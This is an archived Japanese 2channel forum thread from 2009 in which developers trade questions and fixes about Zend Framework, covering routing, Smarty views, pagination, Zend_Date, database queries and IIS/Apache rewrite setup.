451 :2009/08/05(水) 13:39:12 ID:???
>>456 Zend_Controller_Actionを継承してるとして
$this->getRequest()->getUserParam('var');
$this->_getParam('var');
パラメータはリクエストだからかっこよく決めたいんだったら上を使う感じ。
しかしマニュアルのバグまでissueに報告してからの対応ってのはどうなのかね。
459 :
nobodyさん :2009/08/05(水) 16:59:32 ID:qtFRGhoH
>>458 ありがとうございました
うまくいきました
460 :
nobodyさん :2009/08/05(水) 17:01:26 ID:NDvODuDu
日本語マニュアルredirectの無限ループしてるみたいですね。 負荷かかってそうだけど気づかないもんなのかな? サポートのcontact usのフォームに知らせといたけど・・・ 問い合わせいっぱい来てるだろうし、放置なのかね?
462 :
458 :2009/08/05(水) 21:51:38 ID:???
公式は1.9出したというのに、マニュアルが死亡。 無限ループとかいつまでやってんだ?
464 :
nobodyさん :2009/08/05(水) 23:36:02 ID:WMeCBWWn
あと数時間でマニュアル復旧っぽいです
日本語ドキュメントをダウソしてchmに変換して使ってる。 1.5あたりのままだけど('A`) そろそろ作り直そうかなと思ったが、どうやって作ったか思い出せね。
466 :
nobodyさん :2009/08/06(木) 00:57:23 ID:JPFTqmJZ
新しいバージョンが出て、今までのと置き換えた時にトラブル起きたことなんてある? そんな心配いらないものかな?
467 :
nobodyさん :2009/08/06(木) 01:18:07 ID:4RIcoEog
ないわけないw
>>467 ,468
こわいなー、必要なコンポーネントだけを移植するようにした方が良いのかな
丸ごと変えて検証って大変だもんなー
470 :
nobodyさん :2009/08/06(木) 02:14:25 ID:4RIcoEog
>>469 必要なコンポーネントだけとかやってると、後から余計に面倒になると思うよ
Cucumber + Webrat みたいにブラウザを使わないテストツールってないかな。 Selenium はブラウザの起動がうざくて。
473 :
nobodyさん :2009/08/06(木) 10:14:18 ID:iMOTjzQq
ドキュメント復活
zendFWで、モジュール構成とSmartyを両立させてやっています smarty使うと、テンプレートキャッシュを吐き出しますよね、そのファイル名が %%3B^3B8^3B8EC026%%index.tpl.php となっています。 これは文字化け起こしてるのではないかと思いますが、普通ですか? 文字化けだとしたらどうしたら良いでしょうか? zendFWにあまり直接関係なくてすみません。
普通です。
もじばけってやつはもっとやう゛ぁい。 2byte以上のよく分からないのが混じりだしたら要注意
479 :
nobodyさん :2009/08/08(土) 16:56:36 ID:JPFTqmJZ
zend framework徹底入門って本利用されてる方いますか? 利用してる方で、ModuleとSmarty併用してる方がいたら質問したいんですが…
481 :
479 :2009/08/08(土) 17:54:23 ID:JPFTqmJZ
>>480 ありがとうございます。
そうなんですが、あの本によるとドキュメントルートの下にapplicationフォルダ置きますよね
それなら確かに動くんですが、普通の利用を考えてドキュメントルートの上に
applicationフォルダを移動すると動かないんです。
これ、マルチポストというかだまし討ちみたいになるの嫌なので正直に書きますが
著者のサイトの質問コーナーに投稿してるんですけど返事もらえないんです。土曜だし。。
http://keijiban.msn.to/top.jsp?id=bv6673 出来ればここで同じ本を参考にしてる人に聞きたいと思ってきたんですが、
ダメでしょうか?
上で書いたように、applicationフォルダを移動させても動いていますか?
エラーと該当個所のソースを張りなさい
あとDispatchのパス指定とか
484 :
479 :2009/08/08(土) 18:11:30 ID:JPFTqmJZ
>>482 本当にすみません。わからない点が2つあるんですが(上の質問サイトから貼ります)
http://192.168.0.3/zend/controller_view/smarty で確かに動作するのを確認しました
しかし、理解できないことがあります
疑問1)
P227での図5.5ビュースクリプトのパス解決に寄れば
tplファイルの所在は
./application/smarty/smarty(モジュール名)/smarty(コントローラ名)
/index.tpl(アクション名)になるのではないですか?
実際には./application/smarty/templates/default/smarty/index.tplになっ
ています。
特に、defaultディレクトリの意味がわかりません。
疑問2)
また、サンプルの/controller_viewの中身を取り出して、
/var/www/application
/var/www/html/.htaccess
/var/www/html/index.phpとして
http://localhost/smarty/を実行してみましたがエラーが起きます (フロントコントローラのapplicationへのパスは変更してあります)
続きます
485 :
479 :2009/08/08(土) 18:15:00 ID:JPFTqmJZ
続き 出力されるエラーは [Fri Aug 07 15:54:04 2009] [error] [client 192.168.0.7] PHP Fatal error: Uncaught exception Zend_Controller_Dispatcher_Exception with message Inval id controller specified (error) in /usr/lib/php/Zend/Controller/Dispatcher/Standard.php:241\nStack trace:\n#0 /usr/lib/php/Zend/Controller/Front.php(9 36): Zend_Controller_Dispatcher_Standard->dispatch(Object(Zend_Controller_Request_Http), Object(Zend_Controller_Response_Http))\n#1 /var/www/html/index .php(19): Zend_Controller_Front->dispatch()\n#2 {main}\n thrown in /usr/lib/php/Zend/Controller/Dispatcher/Standard.php on line 241 です。 何が原因なのでしょうか?
486 :
479 :2009/08/08(土) 18:17:57 ID:JPFTqmJZ
フロントコントローラ(/var/www/html/index.php)は以下の通りです <?php define('APP', '../application'); require_once 'Zend/Controller/Front.php'; require_once 'Zend/Controller/Action/Helper/ViewRenderer.php'; require_once APP.'/Zend_View_Smarty.class.php'; $front = Zend_Controller_Front::getInstance(); $front->setControllerDirectory(APP.'/controllers'); $view = new Zend_View_Smarty(); $render = new Zend_Controller_Action_Helper_ViewRenderer($view); $render->setViewBasePathSpec(APP.'/smarty') ->setViewScriptPathSpec(':module/:controller/:action.:suffix') ->setViewScriptPathNoControllerSpec(':action.:suffix') ->setViewSuffix('tpl'); Zend_Controller_Action_HelperBroker::addHelper($render); //$front->setParam('noViewRenderer', TRUE); $front->dispatch();
>>484 モジュールディレクトリの指定がちゃんと出来てなさそう。
$front->addModuleDirectory()
それと $front->setBaseUrl() も出来てないから、
defaultモジュールになっているんじゃ?
>>486 > $render->setViewBasePathSpec(APP.'/smarty')
> ->setViewScriptPathSpec(':module/:controller/:action.:suffix')
> ->setViewScriptPathNoControllerSpec(':action.:suffix')
> ->setViewSuffix('tpl');
だから、
> ./application/smarty/templates/default/smarty/index.tpl
templatesがどこで出てきたのか失念しちまったが、他は指定通りになってるね。
./APP/smarty/templates/:module/:controller/:action.:suffix
ZF徹底入門は持っていないから、的外れならスマソ。
488 :
479 :2009/08/08(土) 19:41:03 ID:JPFTqmJZ
>>487 ありがとうございます
じっくりそのお返事読み込んで対応したいと思います
また質問することになったらすみません
本当にありがとうございました
>>478 サンクス。
今落としてみたけど、目次ペインは文字化け、キーワードタブなしだった。
やっぱり暇見て作り直すよ。
491 :
489 :2009/08/09(日) 05:25:45 ID:???
Zend_Db_Tableでグループ化するとキーが "table"."hoge" (クオーテーション含む)みたいになって扱いにくいので、 table.hoge として扱うことは出来ないでしょうか? 現状ではキーの取得のため $data['"table"."hoge"'] みたいにして取得しています。
まず服を脱ぎます
質問です。 CentOS 5.3 (PHP 5.1.6) + Zend Framework 1.9.1 で View ヘルパーの headLink 試してみたところエラーになりました。 headLink の getContainer() に ksort メソッドが無いというエラーでした。 調べていくと最終的には SPL の ArrayObject に ksort メソッドが存在しない、というところに行き着きました。 ArrayObject の ksort メソッドは PHP 5.1.0 以上ですのであるはずなのですが… php.ini の設定や yum のインストールで何とかなるものでしょうか? よろしくお願いします。 以下に yum でインストールした PHP の RPM を記します。 php-5.1.6-23.2.el5_3 php-bcmath-5.1.6-23.2.el5_3 php-cli-5.1.6-23.2.el5_3 php-common-5.1.6-23.2.el5_3 php-devel-5.1.6-23.2.el5_3 php-gd-5.1.6-23.2.el5_3 php-imap-5.1.6-23.2.el5_3 php-mbstring-5.1.6-23.2.el5_3 php-mcrypt-5.1.6-15.el5.centos.1 php-mhash-5.1.6-15.el5.centos.1 php-mysql-5.1.6-23.2.el5_3 php-pdo-5.1.6-23.2.el5_3 php-pear-1.4.9-4.el5.1 php-pgsql-5.1.6-23.2.el5_3 php-snmp-5.1.6-23.2.el5_3 php-soap-5.1.6-23.2.el5_3 php-tidy-5.1.6-15.el5.centos.1 php-xml-5.1.6-23.2.el5_3 php-xmlrpc-5.1.6-23.2.el5_3
>>494 細かい事はわからんが、一応1.9.0から5.2.4以上推奨だったお。
Zend_Application_Bootstrapを使用しています。 application.iniを指定して情報を読み込んでいますが、 その情報をコントローラ内から読み取るにはどうすれば取得できるでしょうか。
configから取れば良いんでない?
498 :
nobodyさん :2009/08/17(月) 22:15:51 ID:GH8UY0nu
>>496 public function indexAction()
{
$options = $this->getInvokeArg('bootstrap')->getOptions();
}
これで取れると思う。
Zend_Validateを動的に使うときって、毎回 require_once('Zend/Validate/StringLength.php'); require_once('Zend/Validate/Alnum.php'); require_once('Zend/Validate/Alpha.php'); require_once('Zend/Validate/Iban.php'); とか並べにゃならんの?
autoload使えば並べなくてもいいけど、 パフォーマンスは割と落ちる。
>>500 ちょっと詳しくお願いします。
AS hogeみたいにするってことでしょうか?
えっ?
zf.sh create project quickstart ってやると Action 'create' is not a valid action. てエラーになるんだけど、なんで? PHP 5.2.6-3ubuntu4.1 with Suhosin-Patch 0.9.6.2 (cli)
507 :
506 :2009/08/21(金) 12:26:09 ID:???
俺だけかよ...orz ちなみにsvnのstandard/trunk最新版でも同じだた
そんくらいコード見て直せよ
>>508 おま簡単なことみたいに言うなよ。めちゃ難しかったよ。
ああ言われたとおりコード追跡したよ、解決したよ。
でもぜってえ教えねえ、ググってここに来た奴ざまあw
ヒントはシンボリックリンクな
// no links allowed here for now if ($item->isLink()) { continue; }
大丈夫 zf 使ってる人自体レアだから!
if (1) { $this->_forward('hoge'); } todo(); IndexController::indexAction()内の処理で、上記のようにフォワードしたあとに下の処理が続行されてしまいます。 elseで囲ってやる以外にフォワードしたら下の処理を行わないようにする方法はないでしょうか?
$this->_forwardの次の行にreturn;を書くとか
>>514 !!!!
!!!!
thanks desu
Zend Frameworkにサイトマップを作成する機能はありませんか? バリデータは存在しました。
>>491 htmlのソース見れば分かるけど、?になってるのは " " (26 23 31 36 30 3B)だよ。
%20か に置換してやるか、消してからsjisに変換してやればおk
Zend_View()のエスケープ時のエンコードの設定をbootstrapでやりたいのですが、 $view = new Zend_View(); $view->setEncoding('utf-8'); Zend_Controller_Action_HelperBroker::getStaticHelper('viewRenderer')->setView($view); 以外に方法はないでしょうか? getInstance()的なのがあるとありがたいのですが
getEngine
>>519 結局Viewを作成しなければならないみたいですね。
public staticなものはないようですね。
Smartyをレイアウトに組み込んでるんだが、どうにもうまくいきません。
↓エラーはこんな感じです。
[plugin] modifier 'sanitize' is not implemented
modifierの'sanitize' を読み込むように設定されてるみたいなので、
↓この部分をコメントアウトしましたが、変化なし。
$this->_smarty->default_modifiers=array("sanitize");
sanitizeでプロジェクト内を文字列検索してみましたが、それっぽい
記述がなくて困ってます。どうしたら、解決しますか?
参考URL
http://wadslab.net/2008/03/zend_view_smarty/
ZendFrameworkを使うことを前提とした、フリーのPHPプログラムはないですか? プログラムは掲示板でもブログでもなんでもいいのですが、 「ZendFrameworkはこう使うべきである!」みたいな強烈なコードを読みたいです。
公式マニュアルのサンプル読むと使い方も載ってるよ
モデルの設計とか 効率的な使い方とか そういうのを参考にしたいんだろう 俺は知らん
1回のアクセスごとに処理が2回行われているようなのですが、原因が分かりません。 フロントコントローラ部分(index.php)のdispatch以前に以下のようなコードを記述すると2回記録されています。 file_put_contents('./hoge.txt',microtime(true)."\n",FILE_APPEND); よろしければ他のサーバーの方上記の結果をお願いします。 XREA+CGIモードでPHPを動かしていますが、同じような方いらっしゃいませんか? .htaccessは以下の通りです RewriteCond %{REQUEST_FILENAME} -s [OR] RewriteCond %{REQUEST_FILENAME} -l [OR] RewriteCond %{REQUEST_FILENAME} -d RewriteRule ^.*$ - [L] RewriteRule ^.*$ index.php [L]
httpサーバのアクセスログはどうなってる そのRewriteルールだと、実態のないディレクトリ・ファイルは 全部フロントコントローラに投げる設定になってる
>>525 Magentoのソースってすんごく読みにくいんだけど
>>527 favicon.icoを取得しに来ていました。
おっしゃっている通り、該当ファイルがないためこっちにリクエストが来ていたようです。
しかしその問題は解決したのですが、フィルター処理が2回行われてしまっています。
マニュアル通りZend_Filter_Interfaceを継承してコントローラ内で$this->view->setFilter('Filtername')をしています。
書き換え処理を行わず、Zend_View_Filter_Filtername::filter()内に先ほどのロギング処理を追加すると2回記録されています。
動作環境は先ほどの通りです。
フィルターを使用している方に同様の現象はありませんでしょうか?
530 :
nobodyさん :2009/08/31(月) 02:25:49 ID:qG683i9+
zend_dateでカレンダーを出力したいんだけどどうしたら良いですか? 自分の考えでは、 1)2009-08-01をスタートにループまわして(どの月でも30回)、 2)日にち部分を02,03と一つずつ増やして、 3)出来た日付(2009-08-32)を検証し、日付として不適切なら出力停止 …という感じです。 が、いかにも頭悪そう。スマートな実現方法を教えてくれると嬉しいです。 どんな風に作ったら良いのか、皆さんご意見お願いします。
JavaScriptを使えばいい。 jqueryとかYUIとか
「Zend_Dateで」って言われるとこんな感じかな? $s = new Zend_Date('2009-08-01'); $e = clone $s; $e->add(1,Zend_Date::MONTH); do { echo $s->toString('d') . "\n"; $s->add(1,Zend_Date::DAY); } while ($d->isEarlier($e));
533 :
nobodyさん :2009/08/31(月) 03:23:45 ID:qG683i9+
>>531 ありがとうございます! javascriptですか…、確かに一発で表示してくれる機能ありますね
phpとzendFW(zend_dateほか)だけで作るとしたらどうしたら良いでしょうか?
スケジューラーのイベント一覧みたいにしたいんですが
というか、
>>530 のやり方で問題ないでしょうかねぇ? 自分で思うほど変じゃないかな?
慣れ親しんだこれまでと同じやり方でやるってのは進歩がないようで落ち着かないんですが…
534 :
nobodyさん :2009/08/31(月) 03:26:39 ID:qG683i9+
>>532 おお、こんな時間にありがとうございます
do while文?がもうよくわからないですが、、
今このソースを貼り付けて実行したら、真っ白な背景に1とだけ表示されました
どういう結果を表示するプログラムなんでしょうか?
>>534 最後の行をtypoしてた
} while ($s->isEarlier($e));
と最初の行は
$s = new Zend_Date('2009-08-01',Zend_Date::ISO_8601);
ってしておいた方がいいかな。
いちいち、サーバーサイドで生成するのも面倒じゃない? 携帯サイトなの?
>>535 わー、全ての日付が出ました! ありがとうございます!
コードの解読から始めます。ホントにありがとう
>>534 携帯向けとPC向け両方です。
javascriptで作る方法紹介してくれた人ですか?
今の自分のスキルではajaxとかまで手が回らないしPHP,zendの知識を深めたいので
とりあえずこちらのやり方を選びました。ありがとうございました。
538 :
nobodyさん :2009/09/05(土) 22:07:05 ID:Dg9afmXE
zendFWでpearのPager使ってる人います? 今利用してるんですが、ページ送りが動作しません。リンクを押してもずっと最初のページのままです。 原因がこれなのかはわからないですが、 /hobby/user/123 にセットしたPegerのリンクを押していくと /hobby/user/123/?pgr=2 /hobby/user/123//?pgr=3 /hobby/user/123///?pgr=1 となっていきます。(ページ番号を押した分だけ?前の/が増えていく) これはzendFWでPager使った場合の正常な動作なんでしょうか? Pagerの利用自体は、同じサイトないのzend領域外のページで成功してるので まちがいはないつもりですが、zendFWで特別に注意するポイントがあるのかな? ご意見いただけると嬉しいです。よろしくお願いします。
Zend_Paginatorてのがあってだな
>>539 うわあああ ホントだ!1日無駄にした!
どうもありがとう。。。
まあ最初の方はなかったものだしね Zend_ArchiveとZend_Mediaまだー?
542 :
nobodyさん :2009/09/06(日) 01:09:18 ID:JiBjCO1T
>>540 です。教えてもらって今zend_paginator触りだしたんですが、これの長所として
「指定したクエリにマッチするすべての行を取得するのではなく、
DbSelect アダプタや DbTableSelect アダプタは 現在のページの表示のための必要最小限のデータのみを取得します。」
ってあるけど、これってクエリ結果をzend_cacheでキャッシュ化しておくよりも全然有利ってことかな?
イメージ的にはキャッシュにした場合の方が負荷とか楽そうだけど…
(データのアップデートにあわせて抽出できるというのはわかるけど)
あと、ページングのIDや対象アクション・コントローラを設定する.iniを作る必要があるみたいだけど
複数のアクション(コントローラ)にページャーつける度にこういう設定ファイル用意するのかな?
共通化できないものなんだろうか。
実際に利用されてる方、これってPear::pagerよりも便利ですか?
>>542 ただ単に使う時に使う分だけfetchしますよって話だったと思う
使ったことないけど確か簡単にZend_Cacheと組み合わせれたかと
たぶんZend_Controller_Router_Route使うって事だと思うけど、設定ファイルは普通1つでいいよ
ルート毎にpageってパラメータの受け取り方を書くだけ
Router使わないんだったらコントローラのなかで setCurrentPageNumber($this->_getParam('pid'))
かな、、あんまりお得はないと思う
共通化については、コントローラで言うとgetPaginatorぐらいかな、共通の親クラスにでも突っ込めばおk
viewについては、ページネイタ用のパーシャル作っとけば大抵使い回しできるよ(Router必須)
ってイメージ和姦だろうな〜 まず使って見れ
共通化のとこ、余談だけど よっぽど似てる処理なら同じコントローラの同じアクションにルーティングしてしまうってのもありかもな $routeName = $this->getFrontController()->getRouter()->getCurrentRouteName(); switch ($routeName) { } $this->render($routeName);
>>545 This is a book. You see?
547 :
542 :2009/09/08(火) 02:38:09 ID:???
>>543-544 ありがとうございました
正直チンプンカンプンです。zendFWの構造の理解不足が露呈してしまった
もう一度マニュアル読み直しから始めます。ありがとう
548 :
nobodyさん :2009/09/08(火) 21:53:51 ID:qSoCHGpf
以下の形でクエリを実行すると(Zend_DB)、エラーになります。が、引数の$uId,$uType,$limitを直接?の部分に入れて プリペアドステートメント方式(?)をやめてクエリすると結果が返ってきます 何が原因でしょうか? function report($uId,$uType,$limit){//$evYmはYYYY/MM $table1 = $this->_config->table->table1; $table2 = $this->_config->table->table2; $table3 = $this->_config->table->table3; $rs = $this->_db->fetchAll(" SELECT {$table1}.reportTitle , {$table2}.evName , {$table2}.evDay , {$table3}.player , FROM ( {$table1} LEFT JOIN {$table2} ON {$table1}.evId = {$table2}.id ) LEFT JOIN {$table3} ON {$table1}.evId = {$table3}.evId WHERE {$table1}.uId = ? AND {$table1}.uType = ? ORDER BY {$table1}.evDay, {$table2}.startTime1 limit ? ", array($uId,$uType,$limit) ); return $rs; }
SQLクエリ覗くか、エラーメッセージ読めばいいんでない?
>>549 どういうわけか limitをLIMITと大文字にしたら解決しました
その後limitに戻しても動作してます
わけわからないですが解決しました。ありがとうございました。
原因不明のままでも解決すれば満足してしまうのか・・
PEARのQuickFormを使っていた身にとって、Zend_Formはなかなか慣れない。 特にfreeze()メソッドが無いあたりが...。 Zend_Configで要素を定義できるのは楽なんだが、その分表示で苦労するというか なかなか頭が切りかわらねぇ(´・ω・`)
>>553 pearでもzendでも、フォーム関連ってjavascriptとの連携フレキシブルにできるもの?
プルダウンの初期値によって以降の項目を非表示にするとか入力不可能にするとか。。
もしくはフォーム要素のnameを変えるとか
quickformやzend_formの存在知らずに全部スクラッチで書いて後悔気味なんだけど
そういうの柔軟に対応できるなら勉強し直そうかなぁ
質問です。 VISTA+IIS7.0+PHP5.2.10 の環境でZend Frameworkが動くか実験中です。 目的はFastCGIを利用すると、利用しない場合よりもどのくらい高速になるかです。 IIS7.0にFastCGIは標準で入っているので、URL Rewriteモジュールをインストールし、 ---- RewriteEngine On RewriteCond %{REQUEST_FILENAME} -f [OR] RewriteCond %{REQUEST_FILENAME} -d RewriteRule ^.*$ - [NC,L] RewriteRule ^.*$ public/index.php [NC,L] ---- 上記をサイトトップで読み込ませて、サイトトップフォルダ直下にWeb.configファイルを作成したところ、最初の画面は表示されたのですが、次画面以降 URL Rewriteが上手く動作してなく、ページが見つからないというエラーで終了してしまいます。 Zend Frameworkを利用したphpサイトにおいて、URL Rewriteモジュールはどのように設定すべきなのでしょうか? ※ Zend FrameworkのDocumentを見る限り、IIS7.0で動作すると書かれているので、動くと思うのですが。
Rewrite自体のエラーなのか、 PHPは実行されるがエラーが表示されるのか、 どっちだ?
>>556 Zend FrameworkのFile Not Foundエラーぽいです
なので、フレンドリーURLだけが認識していないっぽいです
>>557 ルーターや、ルクエストの中身を確認してみれ。
560 :
555 :2009/09/15(火) 19:17:52 ID:???
根本的なことを教えてください。 度々の質問すみません。 IIS7.0で標準で用意されているDefault Web Site(物理パス C:\Inetpub\wwwroot)の下にZFで作成されたphpソースをごっそり配置でOK? どこかの物理パスにZFで作成されたphpソースをごっそり配置して、新たにWebサイトを追加する際、publicフォルダ下を指定でOK? 調査した結果、多分そこらへんの根本的なサイト作成部分から間違っていそうです。
IISでのRewrite設定ってXML形式じゃないのか? ISAPI_Rewriteを使ってるならmod_rewriteと同じ記述みたいだけど
562 :
nobodyさん :2009/09/17(木) 21:54:53 ID:+ukzFmCv
どうでもいいんだけど、メンバーを管理するクラスってMemberController?MembersController?
DBじゃあるまいしコントローラ名は好きなほうでいいんじゃないの
URL的に /users/xxx より /user/xxxx の方がしっくり来るのでsは付けていないかな 好みでいいと思う。
>>562 ひょっとしてCakePHP使ってた?
あっちは単数複数間違えるととたんにおかしくなるからね。
ZFはその辺で余計なことはしないので、好きに決めればいい。
CakePHPイクナイ
ビュースクリプトからアクションコントローラにアクセスするにはどうすればいいんでしょうか?
無理矢理呼べは呼べるけどやっちゃいかんよ
actionっていうビューヘルパーがあるけど、使わない方がいいね。なるべく。
To-doリストの OpenID 2.0 (7.3) XRI and Yadis discovery はいつ対応されるんだー
1.9になってさApplication_Resourceいっぱい出たけどRecource_Configみたいなのって 誰か作ってないの?
573 :
570 :2009/09/25(金) 21:34:47 ID:???
>>571 前に一度聞いてみたんだけど・・・日本語じゃ返事無くてあたりまえか。
英語できないし;
日本語で投稿したのか。それはまた勇気あるな
>>572 普通にZend_Configではだめなん?
configってのがややこしかったですが アプリケーション全体で使う設定ファイルの初期設定みたいなリソースって無いのかなって 思ったんです
>>576 1.9 なら application/config/application.ini に
resources.xxxx....
とか書いとけばいいんでは。
この辺の仕組みはかなり良くできてる。
Zend_Applicationって全体的に中途半端ですね
そもそも PHP自体中途半端
完璧な言語って何
アセンブラ
アセンブリをアセンブラでアセンブル
584 :
nobodyさん :2009/10/08(木) 20:34:18 ID:X59TR80D
質問します ZendFWで検索フォームなど利用すると /kensaku/index/param/100 で paramが100の場合の結果を返すけど、 フォームをjavascriptで document.fm.submit(); として実行したらURIは /kensaku/index/?param=100 となって、これをzendFWは解析・実行してくれません ?param=100でクエリ実行するにはどうしたら良いですか? /param/100に書き換えるんですか?(それはどうやったら良いのか。。)または、 ?param=100を解析する処理があるんでしょうか?
パラメータは普通の形式で渡せると思うけど?
586 :
nobodyさん :2009/10/08(木) 20:39:52 ID:X59TR80D
早速ありがとうございます ?hoge1=100&hoge2=200 とかでも大丈夫ってことですか? なんで上手くいかないんだろう…
587 :
584 :2009/10/08(木) 20:48:10 ID:X59TR80D
正確に書かせていただきます $musicGenre = $this->getRequest()->getUserParam('m'); $rsRecommend = $this->_db->recommend($musicGenre); echo $musicGenre; という形で、getタイプのパラメータmを取得してそれを引数にし、対象のログをDBから引き出してるだけです /search/index/m/5だったら動くんですが/search/index/?m=5だとダメなんです echo $musicGenre;部分、?m=5の時は出力しません なんでだろう jsでURLを整形してlocation.hrefで飛ばすしかないのかな。そんな馬鹿な…
589 :
584 :2009/10/08(木) 23:48:30 ID:X59TR80D
>>588 アドバイスありがとうございます
あれこれ試した結果、getParam()では無理だったんですが、getQuery()なら大丈夫でした
なぜgetParam()でダメだったんでしょうか?
また、formの送信結果のURIが
/index/m/5/ の形にならず/index?m=5になるのはどうしようもないのでしょうか?
というか、この形で当たり前なのかな
>>589 >なぜgetParam()でダメだったんでしょうか?
getParam() でのユーザパラメータ以外の取得
setParamSourcesの項目は読んだ?
> また、formの送信結果のURIが
> /index/m/5/ の形にならず/index?m=5になるのはどうしようもないのでしょうか?
formから GETメソッドで送信した場合はそうなります。
むしろ index/m/5/ の形式が特殊な書式で、プログラム側で無理矢理パラメータとして解釈しているのです。
(ここらへんはZendFWの仕様で無く、HTTP/HTMLの仕様です。)
どうしても /index/m/5/ の形式で送信したいのであれば、
JavaScriptでlocationを書き換えるような形で送信する事になります。
actionにそう書けばいいじゃん
592 :
584 :2009/10/09(金) 02:13:23 ID:pakGzFf8
>>590 なるほど、ありがとうございました
>>591 アクションにそう書くというのはどうしたら良いんでしょうか?
良ければ教えてください
僕も590さんの言う、javascriptで書き換えるしか思いつきません
ビューヘルパーのurlは見た?
ねえ、これ流行ってないの?高い参考書買っちゃったんだけど失敗? ・・・ああ・・・おれ涙目orz....
国内の人気的には Cake > Symfony >>>>>> Zend かな? 海外では Symfony>Cake>>>Zend という感じ?
国内のSymfonyとZend逆だろ
国内 Cake >>>>> Symfony >> Zend
Zendを全面的に採用してるケースってあるのかね? 一部をライブラリ的に使ってるってのはあるけど。
俺んとこ まあ業務じゃなくてお遊び程度の部内管理システムだけど
zfはmvcを自作できるから好いております
大規模ポータルで使ってるようち
603 :
584 :2009/10/10(土) 01:21:23 ID:fTRVAJ6O
604 :
nobodyさん :2009/10/10(土) 03:20:38 ID:Li7fCuRP
>>603 そう。前半部分については、デフォルトのルーターでできるから、urlオプションで
コントローラーとアクションとパラメータを与えれば、/kensaku/index/var/10を
取得できるよ
後半のモジュールルートと違う形式にするときは、ルーターは書かなくていいけど、
ルートを定義する必要がある。
どっちにしても、routerのドキュメントも合わせて読みたい。
608 :
584 :2009/10/10(土) 08:35:15 ID:???
>>604 ,605,607
本当にありがとうございます
教えてもらったとこ勉強します、ありがとう!
>>606 >symfonyだけ一般の単語でもあるから
これマジで言ってる?
ネタだよね?
>>608 蛇足かもしれんが
フレームワークってのは開発時にたいてい必要な
似通っててつまらない処理の記述量を減らすためのものでもある
んでそういう処理のひとつとしてルーティングっていう
どういうリクエストをどう捌くかってのものがある
Zend FrameworkではZend_Controllerが
フレームワークとしての大きな役割を担ってて
ルーティングもそのひとつ
あるルートに対してデフォルトや任意の
モジュール・コントローラー・アクションを割り当てたりする
慣れてくるとごちゃごちゃとやってた頃に比べて
はるかに設計することやロジックの記述に時間を割けるようになる
ZFが最適かはなんとも言えんが俺は色んなの試してZFに落ち着いた
どのフレームワーク使おうがルーティングは大事だ
がんばれ
symfonyは1.2になったときに見捨てられた感があるな
おれは、2.0になったときに見捨てられた
Hello Worldを表示するだけの簡単なサンプルってありませんか?
ぐぐった?
どのキーワードでググレばいいか教えてください
622 :
nobodyさん :2009/10/18(日) 22:21:29 ID:XYGMGdV2
萌えた
2.0はまだかね?
すいません、今やってます
FlashMessengerでforwardではクリアされないんだが、redirectすると、メッセージがクリアされてしまう。 リダイレクトではpostDispatchの段階でクリアされてしまうようなんですが、いいアイデアありませんか?
まずはforwardとredirectの違いを調べよう Zendの話じゃなくてWebの仕組みとしての違いを
>>626 言いたいことはわかるし。そこは理解してるつもり。
でもさ、FlashMessengerってセッション使ってるわけじゃん?
なんか、上手いことできないかな〜って。
628 :
イとウ :2009/10/25(日) 15:44:34 ID:sG/ZSqsY
はじめまして。 Zend_Validate のメッセージを和訳していただきたいのですが ここでお願いするのは間違えていますか? 現在、メッセージ・テンプレートの抽出( gettext 形式)まで行いました。
いいよ、いくらで?
630 :
イとウ :2009/10/25(日) 15:50:18 ID:sG/ZSqsY
>>629 相場はいくら位でしょう?
また共有目的で無料というのはいかがでしょう。
メッセージ量どれくらい?
632 :
イとウ :2009/10/25(日) 15:59:08 ID:sG/ZSqsY
メッセージ:103 単語数:923 文字数(スペース含む):5553 文字数(スペースなし):4648 です。
ってかそのシステムでどんなvalidateが必要なのか考えて組まなきゃならないんだから そのバリデートを組み込むたびに一つずつ翻訳というかvalidateの目的通りの日本語を埋めていけばいいだけなんじゃないのか
それが既に英語であるんじゃないの?
635 :
イとウ :2009/10/25(日) 16:19:15 ID:sG/ZSqsY
作成するステムで必要なものではなく共有目的が当初の考えです。 Zend_Validate のデフォルトのメッセージ・テンプレートを 日本語で書いたものを必要としています。 私には Zend_Validate_Barcode_* を使う日は来ないと思いますが お願いする対称に含みます。 また、ネット上で和訳を検索し一部分埋めています。 まったく手を着けていないものは約 30 個あります。 手を着けた約 70 個についても修正などをお願いしたいです。 共有に関しては ・レンタルサーバの代金などの費用をこちらで払いつづける ・現在こういった目的に適した領域がありそちらを借りる などがあると思いますが、まだ考えていません。
どうして用意されてないかというと必要としてる人がいないから 理由はデフォルトのエラーメッセージのまま使う人が殆どいないので
>>635 じゃ君がリーダーシップ取って翻訳プロジェクト始めればいいだけの話じゃないか
638 :
イとウ :2009/10/25(日) 16:31:08 ID:sG/ZSqsY
確かに、おっしゃる通り Zend_Validate_StringLength::TOO_LONG "'%value%' is greater than %max% characters long" を和訳したものをエラー・メッセージとして書き出すよりも 例えば、”本文は %max% 文字以内で入力してください” など値よりもフォームのラベルを含める場合が多いと思います。 「都道府県」や「フリガナ」は想定されておらず "'%value%' was not found in the haystack" ではなく ”選択肢の中から選択してください” や ”フリガナは全角カタカナで入力してください” であるとは思います。
639 :
イとウ :2009/10/25(日) 16:39:03 ID:sG/ZSqsY
>>637 そうします。
と言って、ここで発言を止めた方が良いでしょうか?
必要だと思う人が作ればいいんだよ。それがオープンソース。 賛同を得てみんなでやろうってんじゃなくてさ。 まぁ今までなかったのは、バリバリ作ってる人達が必要としてなかったからということでもあるんだけど。
641 :
イとウ :2009/10/25(日) 16:56:14 ID:sG/ZSqsY
>>640 ありがとうございます。勉強になりました。
私事ですが
今回初めて( PHP なのに ) python を使い Zend/Validate 以下から
メッセージ・テンプレートを抽出し gettext 形式で保存する。
など新しく試したことも多かったので
>>637 の方向を試して見ようと思います。
確かどっかに日本語訳があったから探してみて
GNU
定数的な値をapplication.iniに入れたいときってさ、こんな感じでいいですよね? application.ini で resources.frontController.foo = bar モデルの中で Zend_Controller_Front::getInstance()->getParam('foo'); 私の記憶が確かなら昔はbootstrapの中でZend_Registryに登録してたので ちょっと違和感があるんだけど、これでいいよね?
645 :
644 :2009/11/10(火) 16:44:29 ID:???
結局こんなふうにした application.ini で conf.foo.bar = ほげほげ Bootstrapで protected function _initConf() { Zend_Registry::set('conf', new Zend_Config($this->getOption('conf'))); } コントローラやモデルで $bar = Zend_Registry::get('conf')->foo->bar; 違和感ないですよね?
646 :
nobodyさん :2009/11/11(水) 20:08:27 ID:0BFUpwQj
